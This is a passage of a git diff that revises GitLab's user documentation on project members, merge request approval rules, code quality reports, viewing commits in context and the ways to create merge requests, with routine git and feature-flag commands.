a search query at the top and clicking search (**{search}**).
-To create a **group label**, navigate to **Issues > Labels** in the group and
+To create a **group label**, navigate to **Group information > Labels** in the group and
follow the same process as [creating a project label](#project-labels).
#### Create group labels from epics **(ULTIMATE)**
diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md
index 11d6bfb5d0c..8987c663860 100644
--- a/doc/user/project/members/index.md
+++ b/doc/user/project/members/index.md
@@ -24,7 +24,7 @@ To add a user to a project:
1. Go to your project and select **Project information > Members**.
1. On the **Invite member** tab, under **GitLab member or Email address**, type the username or email address.
In GitLab 13.11 and later, you can [replace this form with a modal window](#add-a-member-modal-window).
-1. Select a [role](../../permissions.md).
+1. Select a [role](../../permissions.md).
1. Optional. Choose an expiration date. On that date, the user can no longer access the project.
1. Select **Invite**.
@@ -54,7 +54,7 @@ To add groups to a project:
1. Go to your project and select **Project information > Members**.
1. On the **Invite group** tab, under **Select a group to invite**, choose a group.
-1. Select the highest max [role](../../permissions.md) for users in the group.
+1. Select the highest max [role](../../permissions.md) for users in the group.
1. Optional. Choose an expiration date. On that date, the user can no longer access the project.
1. Select **Invite**.
@@ -99,6 +99,8 @@ In this example:
- **Administrator** is the [Owner](../../permissions.md) and member of all groups.
They have inherited their role from the **demo** group.
+If a user is a direct member of a project, the expiration date can be updated. If membership is inherited from a parent group, the expiration date can be updated only from the parent group itself.
+
## Remove a member from a project
If a user is a direct member of a project, you can remove them.
@@ -156,7 +158,7 @@ You can sort members by **Account**, **Access granted**, **Max role**, or **Last
## Request access to a project
-GitLab users can request to become a member of a project.
+GitLab users can request to become a member of a project.
1. Go to the project you'd like to be a member of.
1. By the project name, select **Request Access**.
diff --git a/doc/user/project/merge_requests/accessibility_testing.md b/doc/user/project/merge_requests/accessibility_testing.md
index 76aff18b00d..2bc6d5bb148 100644
--- a/doc/user/project/merge_requests/accessibility_testing.md
+++ b/doc/user/project/merge_requests/accessibility_testing.md
@@ -10,7 +10,7 @@ type: reference, howto
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25144) in GitLab 12.8.
If your application offers a web interface and you are using
-[GitLab CI/CD](../../../ci/README.md), you can quickly determine the accessibility
+[GitLab CI/CD](../../../ci/index.md), you can quickly determine the accessibility
impact of pending code changes.
## Overview
@@ -37,7 +37,7 @@ This example shows how to run [pa11y](https://pa11y.org/)
on your code with GitLab CI/CD using the [GitLab Accessibility Docker image](https://gitlab.com/gitlab-org/ci-cd/accessibility).
For GitLab 12.9 and later, to define the `a11y` job, you must
-[include](../../../ci/yaml/README.md#includetemplate) the
+[include](../../../ci/yaml/index.md#includetemplate) the
[`Accessibility.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml)
included with your GitLab installation, as shown below.
diff --git a/doc/user/project/merge_requests/approvals/index.md b/doc/user/project/merge_requests/approvals/index.md
index 3c47c2af344..40345f33cb2 100644
--- a/doc/user/project/merge_requests/approvals/index.md
+++ b/doc/user/project/merge_requests/approvals/index.md
@@ -11,11 +11,21 @@ disqus_identifier: 'https://docs.gitlab.com/ee/user/project/merge_requests/merge
> Redesign [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1979) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8 and [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/10685) in 12.0.
You can configure your merge requests so that they must be approved before
-they can be merged. You can do this by creating [rules](rules.md) or by specifying
-a list of users who act as [code owners](../../code_owners.md) for specific files.
-
-You can configure merge request approvals for each project. In higher GitLab tiers,
-Administrators of self-managed GitLab instances can configure approvals
+they can be merged. While [GitLab Free](https://about.gitlab.com/pricing/) allows
+all users with Developer or greater [permissions](../../../permissions.md) to
+approve merge requests, these approvals are [optional](#optional-approvals).
+[GitLab Premium](https://about.gitlab.com/pricing/) and
+[GitLab Ultimate](https://about.gitlab.com/pricing/) provide additional
+flexibility:
+
+- Create required [rules](rules.md) about the number and type of approvers before work can merge.
+- Specify a list of users who act as [code owners](../../code_owners.md) for specific files,
+ and require their approval before work can merge.
+
+You can configure merge request approvals on a per-project basis. Administrators of
+[GitLab Premium](https://about.gitlab.com/pricing/) and
+[GitLab Ultimate](https://about.gitlab.com/pricing/) self-managed GitLab instances
+can also configure approvals
[for the entire instance](../../../admin_area/merge_requests_approvals.md).
## How approvals work
@@ -60,7 +70,7 @@ a merge request.
After a merge request receives the [number and type of approvals](rules.md) you configure, it can merge
unless it's blocked for another reason. Merge requests can be blocked by other problems,
-such as merge conflicts, [pending discussions](../../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved),
+such as merge conflicts, [pending discussions](../../../discussions/index.md#prevent-merge-unless-all-threads-are-resolved),
or a [failed CI/CD pipeline](../merge_when_pipeline_succeeds.md).
To prevent merge request authors from approving their own merge requests,
@@ -94,6 +104,7 @@ Without the approvals, the work cannot merge. Required approvals enable multiple
database, for all proposed code changes.
- Use the [code owners of changed files](rules.md#code-owners-as-eligible-approvers),
to determine who should review the work.
+- Require an [approval before merging code that causes test coverage to decline](../../../../ci/pipelines/settings.md#coverage-check-approval-rule)
- [Require approval from a security team](../../../application_security/index.md#security-approvals-in-merge-requests)
before merging code that could introduce a vulnerability. **(ULTIMATE)**
diff --git a/doc/user/project/merge_requests/approvals/rules.md b/doc/user/project/merge_requests/approvals/rules.md
index 1e4b0f659ee..82685f9101e 100644
--- a/doc/user/project/merge_requests/approvals/rules.md
+++ b/doc/user/project/merge_requests/approvals/rules.md
@@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, concepts
---
-# Merge request approval rules **(FREE)**
+# Merge request approval rules **(PREMIUM)**
Approval rules define how many [approvals](index.md) a merge request must receive before it can
be merged, and which users should do the approving. You can define approval rules:
@@ -159,7 +159,7 @@ become eligible approvers in the project. To enable this merge request approval
![MR approvals by Code Owners](img/mr_approvals_by_code_owners_v12_7.png)
You can also
-[require code owner approval](../../protected_branches.md#protected-branches-approval-by-code-owners)
+[require code owner approval](../../protected_branches.md#require-code-owner-approval-on-a-protected-branch)
for protected branches. **(PREMIUM)**
## Merge request approval segregation of duties **(PREMIUM)**
@@ -173,6 +173,7 @@ Some users (like managers) may not need permission to push or merge code, but st
oversight on proposed work. To enable approval permissions for these users without
granting them push access:
+1. [Create a protected branch](../../protected_branches.md)
1. [Create a new group](../../../group/index.md#create-a-group).
1. [Add the user to the group](../../../group/index.md#add-users-to-a-group),
and select the Reporter role for the user.
@@ -180,7 +181,7 @@ granting them push access:
based on the Reporter role.
1. Go to your project and select **Settings > General**.
1. Expand **Merge request (MR) approvals**.
-1. Select **Add approval rule** or **Update approval rule**.
+1. Select **Add approval rule** or **Update approval rule** and target the protected branch.
1. [Add the group](../../../group/index.md#create-a-group) to the permission list.
![Update approval rule](img/update_approval_rule_v13_10.png)
@@ -203,7 +204,7 @@ on a merge request, you can either add or remove approvers:
Administrators can change the [merge request approvals settings](settings.md#prevent-overrides-of-default-approvals)
to prevent users from overriding approval rules for merge requests.
-## Configure optional approval rules
+## Configure optional approval rules **(PREMIUM)**
Merge request approvals can be optional for projects where approvals are
appreciated, but not required. To make an approval rule optional:
@@ -229,4 +230,4 @@ approval rule for certain branches:
![Scoped to protected branch](img/scoped_to_protected_branch_v13_10.png)
1. To enable this configuration, read
- [Code Owner's approvals for protected branches](../../protected_branches.md#protected-branches-approval-by-code-owners).
+ [Code Owner's approvals for protected branches](../../protected_branches.md#require-code-owner-approval-on-a-protected-branch).
diff --git a/doc/user/project/merge_requests/approvals/settings.md b/doc/user/project/merge_requests/approvals/settings.md
index b72a4125d0e..8a81ff8c94b 100644
--- a/doc/user/project/merge_requests/approvals/settings.md
+++ b/doc/user/project/merge_requests/approvals/settings.md
@@ -115,8 +115,16 @@ permission enables an electronic signature for approvals, such as the one define
## Security approvals in merge requests **(ULTIMATE)**
You can require that a member of your security team approves a merge request if a
-merge request could introduce a vulnerability. To learn more, see
-[Security approvals in merge requests](../../../application_security/index.md#security-approvals-in-merge-requests).
+merge request could introduce a vulnerability.
+
+To learn more, see [Security approvals in merge requests](../../../application_security/index.md#security-approvals-in-merge-requests).
+
+## Code coverage check approvals **(PREMIUM)**
+
+You can require specific approvals if a merge request would result in a decline in code test
+coverage.
+
+To learn more, see [Coverage check approval rule](../../../../ci/pipelines/settings.md#coverage-check-approval-rule).
## Related links
diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md
index 930df65f3fc..339f67f828f 100644
--- a/doc/user/project/merge_requests/authorization_for_merge_requests.md
+++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md
@@ -17,7 +17,7 @@ There are two main ways to have a merge request flow with GitLab:
With the protected branch flow everybody works within the same GitLab project.
The project maintainers get the [Maintainer role](../../permissions.md) and the regular developers
-get Developer access.
+get the Developer role.
Maintainers mark the authoritative branches as 'Protected'.
diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md
index d11ad53a9d6..eff3a5bd99e 100644
--- a/doc/user/project/merge_requests/browser_performance_testing.md
+++ b/doc/user/project/merge_requests/browser_performance_testing.md
@@ -10,7 +10,7 @@ type: reference, howto
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3507) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.3.
If your application offers a web interface and you're using
-[GitLab CI/CD](../../../ci/README.md), you can quickly determine the rendering performance
+[GitLab CI/CD](../../../ci/index.md), you can quickly determine the rendering performance
impact of pending code changes in the browser.
NOTE:
@@ -40,7 +40,7 @@ Consider the following workflow:
## How browser performance testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsbrowser_performance).
+[Browser Performance report artifact](../../../ci/yaml/index.md#artifactsreportsbrowser_performance).
GitLab then checks this report, compares key performance metrics for each page
between the source and target branches, and shows the information in the merge request.
@@ -89,7 +89,7 @@ The above example:
GitLab 12.3 or earlier, you must [add the configuration manually](#gitlab-versions-132-and-earlier).
The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance),
-and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsbrowser_performance)
+and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/index.md#artifactsreportsbrowser_performance)
that you can later download and analyze. This implementation always takes the latest
Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled,
you can view the report directly in your browser.
diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md
index 27642a9bd5d..19302572dc9 100644
--- a/doc/user/project/merge_requests/code_quality.md
+++ b/doc/user/project/merge_requests/code_quality.md
@@ -10,17 +10,22 @@ type: reference, howto
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in GitLab 9.3.
> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in 13.2.
-Ensuring your project's code stays simple, readable and easy to contribute to can be problematic. With the help of [GitLab CI/CD](../../../ci/README.md), you can analyze your
-source code quality using GitLab Code Quality.
+To ensure your project's code stays simple, readable, and easy to contribute to,
+you can use [GitLab CI/CD](../../../ci/index.md) to analyze your source code quality.
+
+For example, while you're implementing a feature, you can run Code Quality reports
+to analyze how your improvements are impacting your code's quality. You can
+use this information to ensure that your changes are improving performance rather
+than degrading it.
Code Quality:
-- Uses [Engines](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are
+- Uses [plugins](https://docs.codeclimate.com/docs/list-of-engines) supported by Code Climate, which are
free and open source. Code Quality does not require a Code Climate
subscription.
-- Runs in [pipelines](../../../ci/pipelines/index.md) using a Docker image built in the
- [GitLab Code
- Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project using [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults).
+- Runs in [pipelines](../../../ci/pipelines/index.md) by using a Docker image built in the
+ [GitLab Code Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project.
+- Uses [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults).
- Can make use of a [template](#example-configuration).
- Is available by using [Auto Code Quality](../../../topics/autodevops/stages.md#auto-code-quality), provided by [Auto DevOps](../../../topics/autodevops/index.md).
- Can be extended through [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a [custom tool](#implementing-a-custom-tool).
@@ -54,42 +59,14 @@ See also the Code Climate list of [Supported Languages for Maintainability](http
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.11.
> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 13.12.
-> - [Feature enhanced](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.0.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 14.1.
+> - [Inline annotation added](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.1.
Changes to files in merge requests can cause Code Quality to fall if merged. In these cases,
the merge request's diff view displays an indicator next to lines with new Code Quality violations. For example:
![Code Quality MR diff report](img/code_quality_mr_diff_report_v14.png)
-Previously, an indicator was displayed (**{information-o}** **Code Quality**) on the file in the merge request's diff view:
-
-![Code Quality MR diff report](img/code_quality_mr_diff_report_v13_11.png)
-
-To switch to the previous version of this feature, a GitLab administrator can run the following in a
-[Rails console](../../../administration/operations/rails_console.md):
-
-```ruby
-# For the instance
-Feature.disable(:codequality_mr_diff_annotations)
-# For a single project
-Feature.disable(:codequality_mr_diff_annotations, Project.find(<project id>))
-```
-
-## Use cases
-
-For instance, consider the following workflow:
-
-1. Your backend team member starts a new implementation for making a certain
- feature in your app faster.
-1. With Code Quality reports, they analyze how their implementation is impacting
- the code quality.
-1. The metrics show that their code degrades the quality by 10 points.
-1. You ask a co-worker to help them with this modification.
-1. They both work on the changes until Code Quality report displays no
- degradations, only improvements.
-1. You approve the merge request and authorize its deployment to staging.
-1. Once verified, their changes are deployed to production.
-
## Example configuration
This example shows how to run Code Quality on your code by using GitLab CI/CD and Docker.
@@ -111,7 +88,7 @@ include:
The above example creates a `code_quality` job in your CI/CD pipeline which
scans your source code for code quality issues. The report is saved as a
-[Code Quality report artifact](../../../ci/yaml/README.md#artifactsreportscodequality)
+[Code Quality report artifact](../../../ci/yaml/index.md#artifactsreportscodequality)
that you can later download and analyze.
It's also possible to override the URL to the Code Quality image by
@@ -262,13 +239,13 @@ was chosen as an operational decision by the runner team, instead of exposing `d
### Disabling the code quality job
The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable
-is present. Please refer to the CI/CD variables [documentation](../../../ci/variables/README.md)
+is present. Please refer to the CI/CD variables [documentation](../../../ci/variables/index.md)
to learn more about how to define one.
To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable.
This can be done:
-- For [the whole project](../../../ci/variables/README.md#custom-cicd-variables).
+- For [the whole project](../../../ci/variables/index.md#custom-cicd-variables).
- For a single pipeline run:
1. Go to **CI/CD > Pipelines**
@@ -278,11 +255,11 @@ This can be done:
### Using with merge request pipelines
The configuration provided by the Code Quality template does not let the `code_quality` job
-run on [pipelines for merge requests](../../../ci/merge_request_pipelines/index.md).
+run on [pipelines for merge requests](../../../ci/pipelines/merge_request_pipelines.md).
If pipelines for merge requests is enabled, the `code_quality:rules` must be redefined.
-The template has these [`rules`](../../../ci/yaml/README.md#rules) for the `code quality` job:
+The template has these [`rules`](../../../ci/yaml/index.md#rules) for the `code quality` job:
```yaml
code_quality:
@@ -292,7 +269,7 @@ code_quality:
- if: '$CI_COMMIT_TAG || $CI_COMMIT_BRANCH'
```
-If you are using merge request pipelines, your `rules` (or [`workflow: rules`](../../../ci/yaml/README.md#workflow))
+If you are using merge request pipelines, your `rules` (or [`workflow: rules`](../../../ci/yaml/index.md#workflow))
might look like this example:
```yaml
@@ -334,7 +311,7 @@ do this:
1. Define a job in your `.gitlab-ci.yml` file that generates the
[Code Quality report
- artifact](../../../ci/yaml/README.md#artifactsreportscodequality).
+ artifact](../../../ci/yaml/index.md#artifactsreportscodequality).
1. Configure your tool to generate the Code Quality report artifact as a JSON
file that implements a subset of the [Code Climate
spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types).
@@ -342,13 +319,13 @@ do this:
The Code Quality report artifact JSON file must contain an array of objects
with the following properties:
-| Name | Description |
-| ---------------------- | -------------------------------------------------------------------------------------- |
-| `description` | A description of the code quality violation. |
-| `fingerprint` | A unique fingerprint to identify the code quality violation. For example, an MD5 hash. |
-| `severity` | A severity string (can be `info`, `minor`, `major`, `critical`, or `blocker`). |
-| `location.path` | The relative path to the file containing the code quality violation. |
-| `location.lines.begin` | The line on which the code quality violation occurred. |
+| Name | Description |
+| ---------------------- | ----------------------------------------------------------------------------------------- |
+| `description` | A description of the code quality violation. |
+| `fingerprint` | A unique fingerprint to identify the code quality violation. For example, an MD5 hash. |
+| `severity` | A severity string (can be `info`, `minor`, `major`, `critical`, or `blocker`). |
+| `location.path` | The relative path to the file containing the code quality violation. |
+| `location.lines.begin` or `location.positions.begin.line` | The line on which the code quality violation occurred. |
Example:
@@ -371,6 +348,8 @@ Example:
NOTE:
Although the Code Climate spec supports more properties, those are ignored by
GitLab.
+The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark)
+at the beginning of the file.
## Code Quality reports **(PREMIUM)**
@@ -389,7 +368,7 @@ After the Code Quality job completes:
- The full list of code quality violations generated by a pipeline is shown in the
Code Quality tab of the Pipeline Details page. **(PREMIUM)**
-### Generating an HTML report
+## Generate an HTML report
In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10),
it is possible to generate an HTML report file by setting the `REPORT_FORMAT`
@@ -535,7 +514,7 @@ This can be due to multiple reasons:
- Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your MR branch reports have nothing to compare to.
- If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks),
nothing is displayed.
-- The [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) CI/CD
+- The [`artifacts:expire_in`](../../../ci/yaml/index.md#artifactsexpire_in) CI/CD
setting can cause the Code Quality artifact(s) to expire faster than desired.
- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the default branch that do not run the code quality job, this may cause the merge request widget to have no base report for comparison.
- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request.
diff --git a/doc/user/project/merge_requests/commits.md b/doc/user/project/merge_requests/commits.md
index 1bda12468a3..fb1b7f8b9b6 100644
--- a/doc/user/project/merge_requests/commits.md
+++ b/doc/user/project/merge_requests/commits.md
@@ -26,3 +26,62 @@ To seamlessly navigate among commits in a merge request:
- Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts.
![Merge requests commit navigation](img/commit_nav_v13_11.png)
+
+## View merge request commits in context
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29274) in GitLab 13.12.
+> - [Deployed behind a feature flag](../../feature_flags.md), enabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-viewing-merge-request-commits-in-context). **(FREE SELF)**
+
+WARNING:
+This feature is in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
+and is [incomplete](https://gitlab.com/groups/gitlab-org/-/epics/1192).
+Previously merged commits can be added, but they can't be removed due to
+[this bug](https://gitlab.com/gitlab-org/gitlab/-/issues/325538).
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../../feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+When reviewing a merge request, it helps to have more context about the changes
+made. That includes unchanged lines in unchanged files, and previous commits
+that have already merged that the change is built on.
+
+To add previously merged commits to a merge request for more context:
+
+1. Go to your merge request.
+1. Select the **Commits** tab.
+1. Scroll to the end of the list of commits, and select **Add previously merged commits**:
+
+ ![Add previously merged commits button](img/add_previously_merged_commits_button_v14_1.png)
+
+1. Select the commits that you want to add.
+1. Select **Save changes**.
+
+To view the changes done on those previously merged commits:
+
+1. On your merge request, select the **Changes** tab.
+1. Scroll to **(file-tree)** **Compare** and select **previously merged commits**:
+
+ ![Previously merged commits](img/previously_merged_commits_v14_1.png)
+
+### Enable or disable viewing merge request commits in context **(FREE SELF)**
+
+Viewing merge request commits in context is under development and not ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:context_commits)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:context_commits)
+```
diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md
index 430c6488b26..0d56fbc89b8 100644
--- a/doc/user/project/merge_requests/creating_merge_requests.md
+++ b/doc/user/project/merge_requests/creating_merge_requests.md
@@ -7,189 +7,155 @@ description: "How to create merge requests in GitLab."
disqus_identifier: 'https://docs.gitlab.com/ee/gitlab-basics/add-merge-request.html'
---
-# How to create a merge request **(FREE)**
+# Creating merge requests **(FREE)**
-Before creating a merge request, read through an
-[introduction to merge requests](getting_started.md)
-to familiarize yourself with the concept, the terminology,
-and to learn what you can do with them.
+There are many different ways to create a merge request.
-Every merge request starts by creating a branch. You can either
-do it locally through the [command line](#new-merge-request-from-your-local-environment), via a Git CLI application,
-or through the [GitLab UI](#new-merge-request-from-a-new-branch-created-through-the-ui).
+## From the merge request list
-This document describes the several ways to create a merge request.
+You can create a merge request from the list of merge requests.
-When you start a new merge request, regardless of the method,
-you are taken to the [**New merge request** page](#new-merge-request-page)
-to fill it with information about the merge request.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left menu, select **Merge requests**.
+1. In the top right, select **New merge request**.
+1. Select a source and target branch and then **Compare branches and continue**.
+1. Fill out the fields and select **Create merge request**.
-If you push a new branch to GitLab, also regardless of the method,
-you can click the [**Create merge request**](#create-merge-request-button)
-button and start a merge request from there.
+## From an issue
-## New merge request page
+You can [create a merge request from an issue](../repository/web_editor.md#create-a-new-branch-from-an-issue).
-On the **New merge request** page, start by filling in the title and description
-for the merge request. If commits already exist on the branch, GitLab suggests a
-merge request title for you:
+## When you add, edit, or upload a file
-- **If a multi-line commit message exists**: GitLab adds the first line of the
- first multi-line commit message as the title. Any additional lines in that
- commit message become the description.
-- **If no multi-line commit message exists**: GitLab adds the branch name as the
- title, and leaves the description blank.
+You can create a merge request when you add, edit, or upload a file to a repository.
-The title is the only field that is mandatory in all cases.
+1. Add, edit, or upload a file to the repository.
+1. In the **Commit message**, enter a reason for the commit.
+1. Select the **Target branch** or create a new branch by typing the name (without spaces, capital letters, or special chars).
+1. Select the **Start a new merge request with these changes** checkbox or toggle. This checkbox or toggle is visible only
+ if the target is not the same as the source branch, or if the source branch is protected.
+1. Select **Commit changes**.
-From there, you can fill it with information (title, description,
-assignee(s), milestone, labels, approvers) and click **Create merge request**.
+## When you create a branch
-From that initial screen, you can also see all the commits,
-pipelines, and file changes pushed to your branch before submitting
-the merge request.
+You can create a merge request when you create a branch.
-![New merge request page](img/new_merge_request_page_v12_6.png)
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left menu, select **Repository > Branches**.
+1. Type a branch name and select **New branch**.
+1. Above the file list, on the right side, select **Create merge request**.
+ A merge request is created. The default branch is the target.
+1. Fill out the fields and select **Create merge request**.
-NOTE:
-You can push one or more times to your branch in GitLab before
-creating the merge request.
+## When you use Git commands locally
-## Create merge request button
+You can create a merge request by running Git commands on your local machine.
-Once you have pushed a new branch to GitLab, visit your repository
-in GitLab and to see a call-to-action at the top of your screen
-from which you can click the button **Create merge request**.
+1. Create a branch:
-![Create merge request button](img/create_merge_request_button_v12_6.png)
+ ```shell
+ git checkout -b my-new-branch
+ ```
-You can also see the **Create merge request** button in the top-right of the:
+1. Create, edit, or delete files. The stage and commit them:
-- **Project** page.
-- **Repository > Files** page.
-- **Merge requests** page.
+ ```shell
+ git add .
+ git commit -m "My commit message"
+ ```
-In this case, GitLab uses the most recent branch you pushed
-changes to as the source branch, and the default branch in the current
-project as the target.
+1. [Push your branch to GitLab](../../../gitlab-basics/start-using-git.md#send-changes-to-gitlabcom):
-## New merge request by adding, editing, and uploading a file
+ ```shell
+ git push origin my-new-branch
+ ```
-When you choose to edit, add, or upload a file through the GitLab UI,
-at the end of the file you see the option to add the **Commit message**,
-to select the **Target branch** of that commit, and the checkbox to
-**Start new a merge request with these changes**.
+ GitLab prompts you with a direct link for creating a merge request:
-Similarly, if you change files through the Web IDE, when you navigate to **Commit** on the left-hand sidebar, you see these same options.
+ ```plaintext
+ ...
+ remote: To create a merge request for docs-new-merge-request, visit:
+ remote: https://gitlab.example.com/my-group/my-project/merge_requests/new?merge_request%5Bsource_branch%5D=my-new-branch
+ ```
-Once you have added, edited, or uploaded the file:
+1. Copy the link and paste it in your browser.
-1. Describe your changes in the commit message.
-1. Select an existing branch to add your commit into, or, if you'd like to create a new branch, type the new branch name (without spaces, capital letters, or special chars).
-1. Keep the checkbox checked to start a new merge request straightaway, or, uncheck it to add more changes to that branch before starting the merge request.
-1. Click **Commit changes**.
+You can add other [flags to commands when pushing through the command line](../push_options.md)
+to reduce the need for editing merge requests manually through the UI.
-If you chose to start a merge request, you are taken to the
-[**New merge request** page](#new-merge-request-page), from
-which you can fill it in with information and submit the merge request.
+## When you work in a fork
-The merge request targets the default branch of the repository.
-If you want to change it, you can do it later by editing the merge request.
+You can create a merge request from your fork to contribute back to the main project.
-## New merge request from a new branch created through the UI
-
-To quickly start working on files through the GitLab UI,
-navigate to your project's **Repository > Branches** and click
-**New branch**. A new branch is created and you can start
-editing files.
-
-Once committed and pushed, you can click on the [**Create merge request**](#create-merge-request-button)
-button to open the [**New merge request** page](#new-merge-request-page).
-A new merge request is started using the current branch as the source,
-and the default branch in the current project as the target.
-
-## New merge request from your local environment
-
-Assuming you have your repository cloned into your computer and you'd
-like to start working on changes to files, start by creating and
-checking out a new branch:
-
-```shell
-git checkout -b my-new-branch
-```
-
-Work on your file changes, stage, and commit them:
+1. On the top bar, select **Menu > Project**.
+1. Select your fork of the repository.
+1. On the left menu, go to **Merge requests**, and select **New merge request**.
+1. In the **Source branch** drop-down list box, select the branch in your forked repository as the source branch.
+1. In the **Target branch** drop-down list box, select the branch from the upstream repository as the target branch.
+ You can set a [default target project](#set-the-default-target-project) to
+ change the default target branch (which can be useful if you are working in a
+ forked project).
+1. Select **Compare branches and continue**.
+1. Select **Submit merge request**.
-```shell
-git add .
-git commit -m "My commit message"
-```
+After your work is merged, if you don't intend to
+make any other contributions to the upstream project, you can unlink your
+fork from its upstream project. Go to **Settings > Advanced Settings** and
+[remove the forking relationship](../settings/index.md#removing-a-fork-relationship).
-Once you're done, [push your branch to GitLab](../../../gitlab-basics/start-using-git.md#send-changes-to-gitlabcom):
+For more information, [see the forking workflow documentation](../repository/forking_workflow.md).
-```shell
-git push origin my-new-branch
-```
+## By sending an email **(FREE SELF)**
-In the output, GitLab prompts you with a direct link for creating
-a merge request:
+> The format of the generated email address changed in GitLab 11.7.
+ The earlier format is still supported so existing aliases
+ or contacts still work.
-```shell
-...
-remote: To create a merge request for docs-new-merge-request, visit:
-remote: https://gitlab-instance.com/my-group/my-project/merge_requests/new?merge_request%5Bsource_branch%5D=my-new-branch
-```
+You can create a merge request by sending an email message to GitLab.
+The merge request target branch is the project's default branch.
-Copy that link and paste it in your browser, and the [**New merge request page**](#new-merge-request-page)
-is displayed.
+Prerequisites:
-There is also a number of [flags you can add to commands when pushing through the command line](../push_options.md) to reduce the need for editing merge requests manually through the UI.
+- A GitLab administrator must configure [incoming email](../../../administration/incoming_email.md).
+- A GitLab administrator must configure [Reply by email](../../../administration/reply_by_email.md).
-If you didn't push your branch to GitLab through the command line
-(for example, you used a Git CLI application to push your changes),
-you can create a merge request through the GitLab UI by clicking
-the [**Create merge request**](#create-merge-request-button) button.
+To create a merge request by sending an email:
-## New merge request from an issue
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left menu, select **Merge requests**.
+1. In the top right, select **Email a new merge request to this project**.
+ An email address is displayed. Copy this address.
+ Ensure you keep this address private.
+1. Open an email and compose a message with the following information:
-You can also [create a new merge request directly from an issue](../repository/web_editor.md#create-a-new-branch-from-an-issue).
+ - The **To** line is the email address you copied.
+ - The subject line is the source branch name.
+ - The message body is the merge request description.
-## New merge request from the merge requests page
+1. Send the email message.
-You can start creating a new merge request by clicking the
-**New merge request** button on the **merge requests** page in a project.
-Then choose the source project and branch that contain your changes,
-and the target project and branch where you want to merge the changes into.
-Click on **Compare branches and continue** to go to the
-[**New merge request** page](#new-merge-request-page) and fill in the details.
+A merge request is created.
-## New merge request from a fork
+### Add attachments when creating a merge request by email
-After forking a project and applying your local changes, complete the following steps to
-create a merge request from your fork to contribute back to the main project:
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22723) in GitLab 11.5.
-1. On the top bar, select **Menu > Project**.
-1. Select **Your Projects**, then select your fork of the repository.
-1. In the left menu, go to **Merge requests**, and click **New merge request**.
